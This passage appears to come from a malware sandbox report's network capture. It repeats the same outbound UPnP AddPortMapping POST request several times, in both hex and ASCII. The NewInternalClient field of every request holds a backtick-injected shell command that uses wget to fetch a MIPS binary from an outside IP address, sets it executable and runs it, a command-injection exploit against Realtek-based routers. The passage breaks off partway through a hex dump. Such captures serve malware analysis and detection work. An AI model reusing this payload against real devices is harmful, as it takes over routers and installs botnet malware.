                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:47.543620110 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:48.535667896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:50.487662077 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.583611965 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:02.519192934 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:18.134830952 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      156192.168.2.1546602185.220.226.3852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:46.723436117 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 